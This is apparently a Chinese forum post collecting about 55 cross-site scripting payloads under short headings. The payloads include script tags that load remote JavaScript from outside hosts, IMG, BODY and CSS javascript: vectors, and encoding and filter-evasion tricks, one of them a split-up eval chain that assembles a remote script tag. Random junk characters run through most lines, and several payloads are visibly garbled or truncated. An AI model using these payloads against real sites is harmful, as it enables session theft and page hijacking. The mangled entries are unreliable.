(1)普通的XSS JavaScript注入3 E: g& u! X& B7 l' b5 u
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>" z7 B+ S& h U# N4 b& c# S
(99)另类弹框" W; c& ~( K* M' o! ~
<q/oncut=alert()>1
4 q( b/ T4 b3 E<s/onclick=alert()>b: G6 t' f5 ]" w' c) v
<XSS=" onclick="alert(1)//">clickme</SSX=">
3 R$ {# q$ j# [5 v/ O* ~7 P& W <zzz onclick=alert`1`>clickme</zzz> & n2 t% J. }! a
<a onclick=alert`1`>clickme</a>8 X! e4 y7 {, g- I
<a=">clickme</a=">
* v: V# Z( Y0 w& R9 F: |1 B0 I<a=">clickme</a>! J5 l5 ~% y& Q& T! ]( l$ U! _3 i
<z=">clickme</z=">. h2 ?! u9 |5 f' `) S7 i* A) Y
<z onclick=alert`1`>clickme</z>
! ]; K* K8 I4 }7 O# v" W& Z" I! m1 x' |) |% F2 G
(2)IMG标签XSS使用JavaScript命令5 W9 f; O; _7 I
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
5 b# b6 n# T: r/ I7 F0 D2 c* V; }* W
(3)IMG标签无分号无引号- J2 g! Y. }% G( O y% W% U+ e
<IMG SRC=javascript:alert(‘XSS’)># `' e2 M* b4 G, B) L+ A+ ^3 Y$ ~* e
1 K+ x9 R' [/ G, X(4)IMG标签大小写不敏感$ H- O" G& }& b! g5 J# S9 y S
<IMG SRC=JaVaScRiPt:alert(‘XSS’)>, }; m* {/ m9 n5 u6 T" h4 W
K2 R9 n* L5 _6 T0 e
(5)HTML编码(必须有分号)
3 |0 d1 o b* s8 I<IMG SRC=javascript:alert(“XSS”)>
2 q' }7 U) ?$ E& t; g; W7 r( S) C7 m7 E6 o9 I2 i% e) n
(6)修正缺陷IMG标签, U2 l& u) q1 R; o, m! \1 a
<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>
# i( [/ b- J; b5 y% ^' G; l8 K: X3 u- Q
(7)formCharCode标签(计算器)
/ B. L( {; N3 I+ D/ M<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
# ~1 v2 @" @, s, A4 P& _# H- Q. f. q; a8 S8 C& |0 L- c; Z/ U
(8)UTF-8的Unicode编码(计算器)
; N1 o( ~- E& u0 L% H$ c' l<IMG SRC=jav..省略..S')>
8 g/ I7 C+ v% P0 G3 d ^' Y% Y* P4 W7 j/ a. l1 \0 Y0 x5 w
(9)7位的UTF-8的Unicode编码是没有分号的(计算器): [* G1 ]2 s; R
<IMG SRC=jav..省略..S')>3 ]- y, Y$ a2 U# S( A3 o/ i
3 P$ s2 ]8 Z0 A/ n+ }
(10)十六进制编码也是没有分号(计算器)- C2 y& c+ S9 G5 f
<IMG SRC=\'#\'" /span>
' }- U5 }$ z, k1 F& y2 w! l5 e2 N" \9 A- @, t
(11)嵌入式标签,将Javascript分开
, d1 b& ~( c Q* h/ ?: n1 n<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>" e- N" L' g- E: H8 Q" ^& J2 D/ h3 [& U
2 g, ~% d1 @- m1 p; ~$ x. `5 d8 A(12)嵌入式编码标签,将Javascript分开
$ f% G C# s8 B0 Y* O5 K<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>) U* H- S9 K9 K$ H/ \4 z3 p
) ~6 S) P8 c5 v- g8 J(13)嵌入式换行符8 U% i- |; z+ y0 N7 m5 H
<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>
+ u' o8 }# k! L) }# I4 y+ L3 Y
1 @1 d7 q; ?, K2 r(14)嵌入式回车
* j+ E, }1 Q ^$ b8 i<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>/ p$ j4 C1 c X% ]; h
9 C7 x6 s$ ~; _* e
(15)嵌入式多行注入JavaScript,这是XSS极端的例子
: L( j7 J. B% p0 ~7 v<IMG SRC=\'#\'" /span>$ o+ c/ P% s( J8 B! O8 _2 l
, H$ D' h/ D$ \(16)解决限制字符(要求同页面)
! |7 F" ?2 }2 x5 U1 N! L0 k<script>z=’document.’</script>
; O' q$ b- \ `5 P) q$ ^* Z5 r<script>z=z+’write(“‘</script>
5 P$ Y: d- M+ F. }% j" O# t<script>z=z+’<script’</script>. R9 v' A$ K$ e d8 f" V
<script>z=z+’ src=ht’</script>
% S" n6 i5 R/ @7 G3 n8 p! a' K<script>z=z+’tp://ww’</script>0 e; W9 h9 z0 I# ] l9 d
<script>z=z+’w.shell’</script>
" B: Z$ Y+ v0 @6 `<script>z=z+’.net/1.’</script>& o7 s* |- b: ~) v, N
<script>z=z+’js></sc’</script>! p0 }: J* t$ E3 n
<script>z=z+’ript>”)’</script>
E! h" x/ q3 L0 u$ A<script>eval_r(z)</script>
2 ?: g8 T: o3 k$ d& t; L- z1 ~, T. T4 w- V+ p8 D3 t
(17)空字符
' A( {9 S0 B& vperl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out" }) R6 p5 W* z5 p7 O+ L
* I) W7 ], T4 K. ](18)空字符2,空字符在国内基本没效果.因为没有地方可以利用1 @* X: o6 `: o7 D. F
perl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out' q3 D% R- G. c& P
* u' _8 s" o) \" ]) {, {: Y(19)Spaces和meta前的IMG标签7 u3 a2 _6 y5 r+ A9 |) J _; \
<IMG SRC=\'#\'" javascript:alert(‘XSS’);”>
$ s6 y: H7 a7 a& [( }1 |) w$ C- B3 F& V$ P+ h5 o* E
(20)Non-alpha-non-digit XSS+ k& h$ Z/ x* S- q& A. z+ k
<SCRIPT/XSS SRC=\'#\'" /span>http://3w.org/XSS/xss.js”></SCRIPT>* p8 Q* A2 }4 r$ f0 ?4 k
9 |+ f% q0 ~0 P1 \* R" X5 m
(21)Non-alpha-non-digit XSS to 2# O+ W4 M8 Y" i" O f
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>
3 g6 L9 W2 z# I$ U( r1 b! u$ u/ P% f. P- c: t
(22)Non-alpha-non-digit XSS to 3; ~5 {% f" X0 O
<SCRIPT/SRC=\'#\'" /span>http://3w.org/XSS/xss.js”></SCRIPT>
/ p7 y- }8 G9 d5 {# ?3 `
" n, B' G& e0 d- p1 ~(23)双开括号) z5 J. v% ? p# p7 Q4 _
<<SCRIPT>alert(“XSS”);//<</SCRIPT>% T/ f3 p9 N3 ]& |; i# Z" p
6 `2 l' T, N! U% f$ J
(24)无结束脚本标记(仅火狐等浏览器)
3 Z: [: F) j4 ~7 r0 U* i<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>
% T% _: P! m# _0 r8 L3 w1 Z* |3 E, G+ r
(25)无结束脚本标记2* X$ F0 c' \8 H- Q2 o8 J; X6 t# \
<SCRIPT SRC=//3w.org/XSS/xss.js>
7 _0 O$ @6 ]. C
% l. O3 w3 ^ o3 j9 h# A(26)半开的HTML/JavaScript XSS
. s- q- v5 ?0 ?$ t<IMG SRC=\'#\'" /span>
7 F# w/ [1 L7 S. H6 G. N! B" {: G$ J4 x6 e7 T7 Q6 Q
(27)双开角括号
3 m( m0 f" B6 _' _<iframe src=http://3w.org/XSS.html <
2 K* i$ B+ D) X5 t. M& B9 t8 k
7 ]. t7 T' x7 ?(28)无单引号 双引号 分号2 D2 _6 W# l9 X% J. k
<SCRIPT>a=/XSS/0 `2 j' |% b% y4 P$ c7 w9 B: m
alert(a.source)</SCRIPT>8 P5 a L9 f4 Q4 G
" e2 X; H4 t0 g! n' l
(29)换码过滤的JavaScript% P7 q% a+ R4 J; u2 U- q
\”;alert(‘XSS’);//8 U" b& L9 Q) P! J) K2 L
$ e5 Q- ~. r* ?: O/ I; T
(30)结束Title标签
. ]2 {" z2 K8 j</TITLE><SCRIPT>alert(“XSS”);</SCRIPT>
- z; z7 g U+ S7 m& ?+ I- a; c3 q* V( ?, K5 {# b7 G" X6 @3 ?
(31)Input Image
$ W; E/ b% T3 X, l& E<INPUT SRC=\'#\'" /span>- c) q2 `) W: P% H, o
5 a) ~/ M/ m' q+ {4 A5 C8 p- W( X# j(32)BODY Image
7 O" O! M/ f, K7 m1 i% _) G<BODY BACKGROUND=”javascript:alert(‘XSS’)”>
$ C2 C. d- Z" F2 Z' r3 s
: ^9 w6 a1 _7 c: o(33)BODY标签
$ [. J- p5 R+ G. ?9 l, K& W<BODY(‘XSS’)>+ F3 `' n1 m7 M) H ?
9 n( H9 I: m5 a$ f(34)IMG Dynsrc
7 `' |; Z& V6 u% A: N<IMG DYNSRC=\'#\'" /span>3 n1 A* n. q; y$ g1 b- W; k5 M
. T# e2 ]* `6 F3 x& |(35)IMG Lowsrc2 R0 D% ?& x% B' I) X$ H1 M' \1 \
<IMG LOWSRC=\'#\'" /span>
6 {* k# I/ f0 ~: y6 g6 _) G1 j
^: ~) N; ^8 Q) ?- I(36)BGSOUND
% C4 Q: q4 Y+ a/ |<BGSOUND SRC=\'#\'" /span>2 k2 y% A% @1 e) b9 G4 m$ R
0 u- L- E8 w. {
(37)STYLE sheet
: Y) }2 I2 a7 h: K( R. ^<LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>) U$ Y8 a( r8 c5 r# J$ B5 A
1 e% W9 r. s4 y; h(38)远程样式表' d+ O' x$ l5 L l
<LINK REL=”stylesheet” HREF=”http://3w.org/xss.css”>
! I4 n/ y, G6 n. L' @
( f6 Y* R* \4 J( [4 ?(39)List-style-image(列表式)
; N/ t, h! s) d& L7 Y3 a Y- l<STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS
( Q, c* z _4 N) U. h" [8 I" p0 Q5 L+ v& w9 y& Q4 F5 J: s, v
(40)IMG VBscript
$ _3 Z& Y) U; h! L4 K<IMG SRC=\'#\'" /STYLE><UL><LI>XSS) n- H- ?5 ]- w
; Z, j1 f, F* ~+ H" M(41)META链接url
+ X5 L2 _. `9 i" u<META HTTP-EQUIV=”refresh” CONTENT=”0; URL=http://;URL=javascript:alert(‘XSS’);”>, v) D* A+ t/ G0 ]+ N: f
4 U( j: m+ k4 @2 M q% }. y(42)Iframe& ~. u( I; B$ z3 D H4 Q
<IFRAME SRC=\'#\'" /IFRAME>7 f6 w2 b0 `& Z4 A" S! o- Z$ r! s
9 N5 k8 ?- z' w) O
(43)Frame
2 l; ]2 K4 A) N5 z" G<FRAMESET><FRAME SRC=\'#\'" /FRAMESET>) o$ f" u, Z; h3 e- E( l+ I6 g" T
1 Q4 B( M4 N1 o# ~$ R(44)Table2 c" S5 O' e! ]" \; P& Q! A- z
<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>
W8 W4 G& @- h
% y9 X! |* w6 a(45)TD
8 `9 X3 \1 M8 \<TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”>1 `$ R2 Y* v. E! z' w
5 z* x8 P+ W3 ]8 W1 Z
(46)DIV background-image; N# t' I& v) r5 M5 p t: s: O% {
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>' T) J6 E, |0 b7 u
D7 ]2 X3 b! Q6 @" m. E- r(47)DIV background-image后加上额外字符(1-32&34&39&160&8192-8&13&12288&65279)
* J8 `' O* M* c( ^8 i7 R& X<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>
! P g( W: s6 k7 O
0 @3 F: S: l' \# R. h4 u(48)DIV expression% p. {6 F) N* ~% _# {3 k
<DIV STYLE=”width: expression_r(alert(‘XSS’));”>: v, L5 @, S; ~. o L
# R2 v( l2 y) U: V9 U. {, @! R(49)STYLE属性分拆表达
/ J5 ^/ R" ]% k. H0 V b% \<IMG STYLE=”xss:expression_r(alert(‘XSS’))”>1 d& ]! J* O4 O0 n
3 W& c/ X5 `% r( A1 P: b(50)匿名STYLE(组成:开角号和一个字母开头)
' a4 `$ J: S% m r6 r+ N& v<XSS STYLE=”xss:expression_r(alert(‘XSS’))”>
8 O0 k5 v! Z* K6 e% k( B, r/ W) t! j2 l
(51)STYLE background-image+ s( M+ V( d4 C& [
<STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A CLASS=XSS></A>
2 y2 p/ \! b/ p# _2 ~ y' u7 k0 S& I3 M2 {
(52)IMG STYLE方式
7 C4 ^& {4 t, G0 {exppression(alert(“XSS”))’>" q1 N C5 @3 E* L' D# ~
) c2 K5 X% H2 G# Y( s* f/ s6 [% y(53)STYLE background; H: u8 m7 y, K; g* z
<STYLE><STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>
1 G+ E1 M+ e9 D5 W( G: h) B
$ S7 D. K, _% W4 n$ Y(54)BASE# D- r( d. M7 A( d! {0 i3 X
<BASE HREF=”javascript:alert(‘XSS’);//”>3 @' ^- u6 _/ x4 }/ \* j
2 g/ l+ q3 `; l* j! C
(55)EMBED标签,你可以嵌入FLASH,其中包涵XSS
, U% L* U H/ w% P<EMBED SRC=\'#\'" /span>http://3w.org/XSS/xss.swf” ></EMBED>
4 |8 a# V+ g! R8 Y. h. R |
发表于 2016-4-28 10:06:15
收藏
支持
反对